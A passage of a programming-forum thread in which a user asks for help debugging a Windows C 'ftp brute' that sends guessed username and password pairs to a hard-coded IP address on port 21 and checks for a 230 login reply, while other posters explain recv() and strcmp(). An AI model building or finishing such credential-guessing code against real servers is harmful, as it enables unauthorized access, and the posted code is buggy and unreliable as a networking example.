Help in ftp code

This is a discussion on Help in ftp code within the Networking/Device Communication forums, part of the General Programming Boards category; I was coding a simple ftp brute as a excerise in networking but i have problem everytime it alawys post ...

  1. #1
    Registered User
    Join Date
    Dec 2008
    Posts
    183

    Help in ftp code

    I was coding a simple ftp brute as a excerise in networking but i have problem everytime it alawys post pw even if it doesnt recived string loged in help thanks.
    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <winsock.h>
    #include <string.h>
    #pragma comment(lib,"wsock32.lib")
    #define sleep_time 400
    #define Bigsleep 2000
    char *USERandPW[]=
    {
        "USER sss\r\nPASS ssss\r\n",
            "USER illustion\r\nPASS KARIM\r\n",
            "USER BADANIE\r\nPASS MOFO\r\n",
            "USER MOFO\r\nPASS a7a",
            "USER LOLZ\r\nPASS badnie"
    };
    void validator(char *question,char *NOTE)
    {
        MessageBox(NULL,question,NOTE,MB_OK);
    }
    void list_counter(int *listsize)
    {
        *listsize=(sizeof (USERandPW) /sizeof ( char * ));
    }
    void ftp_connector()
    {
        const char *Site="64.89.23.139";
        char Okay[]="we are in now we preforming the function";
        char note[]="IRC OKAY";
        char badan[]="Function failed";
        char rec[]="logged in.";
        WORD sockversion;
        WSADATA wsadata;
        SOCKET FTP_cnt;
        SOCKADDR_IN server_info;
        int list_size;
        char *pw;
        sockversion=MAKEWORD(2,2);
        
        WSAStartup(sockversion,&wsadata);
        FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        if(FTP_cnt==INVALID_SOCKET)
        {
            MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
            exit(0);
        }
        
        server_info.sin_family = AF_INET;
        server_info.sin_addr.s_addr=inet_addr(Site);
        server_info.sin_port=htons(21);
        list_counter(&list_size);
        pw=USERandPW[rand() % list_size];
        if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
        {    
            send(FTP_cnt,pw,strlen(pw),0);
            if(recv(FTP_cnt,rec,strlen(rec),0))
                MessageBox(NULL,pw,pw,MB_OK);
            else
                MessageBox(NULL,"Password wrong","wrong pw",MB_OK);
    
            Sleep(Bigsleep);
    
            MessageBox(NULL,"We are out","OUTING",MB_OK);
    
            WSACleanup();
        }
        else
        {
            validator(badan,badan);
            WSACleanup();
        }
    }
    int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
    {
        srand(GetTickCount());
        ftp_connector();
        WSACleanup();
    }
    i thought everytime it recived string loged in it should post the info but it doesnt i dunno whats the problem with this.

  2. #2
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Location
    Singapore
    Posts
    22,303
    Moved to Networking/Device Communication forum.
    C + C++ Compiler: MinGW port of GCC
    Version Control System: Bazaar

    Look up a C++ Reference and learn How To Ask Questions The Smart Way

  3. #3
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    32,848
    > if(recv(FTP_cnt,rec,strlen(rec),0))
    How is this supposed to verify anything, other than that at least 1 byte has been received (or indeed, the connection has been terminated).
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.
    I support http://www.ukip.org/ as the first necessary step to a free Europe.

  4. #4
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    oh i thought it checked if it recived that string?

  5. #5
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    sorry a question coz i dont get rec() function that much what does it do it recived a string or what ?

  6. #6
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    like lets say We use send() to send ping and we use rec() to chk if we got pong ? because
    that johnnie winsock tut doesnt tell much abt rec function or send i figured it out myself

  7. #7
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    32,848
    recv() just receives data.
    All it can tell you is whether the receive actually worked or not, and if it did work, how many bytes were received.

    The content of those bytes, well that's up to you to figure out.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.
    I support http://www.ukip.org/ as the first necessary step to a free Europe.

  8. #8
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    how can i chk data in networking if i got like data etc?

  9. #9
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    like with recv i just wanna do like to recv info from protocol but i have to intilize it first could i just use a buffer without initlizing it and then compare ? after that ?

  10. #10
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    strcmp(), but be aware that you MAY need to receive more than one packet of data to make a full message.

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  11. #11
    Malum in se abachler's Avatar
    Join Date
    Apr 2007
    Posts
    3,189
    Just a suggestion, but you should probably learn simpler concepts like string operations BEFORE you tackle socket programming.
    Until you can build a working general purpose reprogrammable computer out of basic components from radio shack, you are not fit to call yourself a programmer in my presence. This is cwhizard, signing off.

  12. #12
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    i alrdy know string operation but whish i dont get is recv coz but now i think i got it like first pass a normal buff to recv then i check if it received the string or not
    but i made i think a problem now it goes right away to function failed ... :S
    Code:
    #include "inc.h"
    void validator(char *question,char *NOTE)
    {
    	MessageBox(NULL,question,NOTE,MB_OK);
    }
    void list_counter(int *listsize)
    {
    	*listsize=(sizeof (USERandPW) /sizeof ( char * ));
    }
    
    void ftp_connector()
    {
    	const char *Site="64.89.23.139";
    	char Okay[]="we are in now we preforming the function";
    	char note[]="IRC OKAY";
    	char badan[]="Function failed";
    	char buff[100];
    	WORD sockversion;//WORD is same as unsigned char 2 byes long
    	WSADATA wsadata;
    	SOCKET FTP_cnt;//we use this socket to pass in information
    	SOCKADDR_IN server_info;
    	int list_size;
    	char *pw;
    
    	sockversion=MAKEWORD(2,2);//we would like to use winsock ver 2.2
    	/*we BEGIN INTILIZING WINSOCK*/
    	WSAStartup(sockversion,&wsadata);
    	FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    	if(FTP_cnt==INVALID_SOCKET)
    	{
    		MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
    		exit(0);
    	}
    	// Use a SOCKADDR_IN struct to fill in address information
    	server_info.sin_family = AF_INET;
    	server_info.sin_addr.s_addr=inet_addr(Site);
    	server_info.sin_port=htons(21);
    	list_counter(&list_size);
    	pw=USERandPW[rand() % list_size];
    	if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
    	{	
    		send(FTP_cnt,pw,strlen(pw),0);
    		recv(FTP_cnt,buff,sizeof buff,0);
    		if( strncmp( buff, "230", 3 ) == 0 )
    			MessageBox(NULL,pw,"loged in",MB_OK);
    
    		Sleep(Bigsleep);
    
    		MessageBox(NULL,"We are out","OUTING",MB_OK);
    
    		WSACleanup();
    	}
    	else
    	{
    		validator(badan,badan);
    		WSACleanup();
    	}
    }
    int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
    {
    	srand(GetTickCount());
    	ftp_connector();
    	WSACleanup();
    }
    i tried strncmp my code winsock failed right away
    i dunno why it failed and it didnt even go to send part

  13. #13
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    What are you actually receiving - have you tried printing it?

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  14. #14
    Registered User
    Join Date
    Dec 2008
    Posts
    183
    i m trying to recive 230 whish is user loged but problem like should i make recv the buffer of it nothing just get packets from net then i chk if its right or wrong or put a value to the buffer because i m confused abt this ....

  15. #15
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Quote Originally Posted by lolguy View Post
    i m trying to recive 230 whish is user loged but problem like should i make recv the buffer of it nothing just get packets from net then i chk if its right or wrong or put a value to the buffer because i m confused abt this ....
    You need to RECEIVE the data from the net, so you need a buffer to store the data in, and you need to somehow determine that you have received all you need for this time - I'd guessin the FTP case that this would mean that there is a newline at the end of the message.

    Once you have it all, you need to use strcmp() to compare the string with what you expect.

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

Page 1 of 2 12 LastLast
Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Extended ASCII Characters in an RTF Control
    By JustMax in forum C Programming
    Replies: 18
    Last Post: 04-03-2009, 09:20 PM
  2. Enforcing Machine Code Restrictions?
    By SMurf in forum Tech Board
    Replies: 21
    Last Post: 03-30-2009, 08:34 AM
  3. Obfuscated Code Contest: The Results
    By Stack Overflow in forum Contests Board
    Replies: 29
    Last Post: 02-18-2005, 05:39 PM
  4. Obfuscated Code Contest
    By Stack Overflow in forum Contests Board
    Replies: 51
    Last Post: 01-21-2005, 04:17 PM
  5. Interface Question
    By smog890 in forum C Programming
    Replies: 11
    Last Post: 06-03-2002, 06:06 PM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21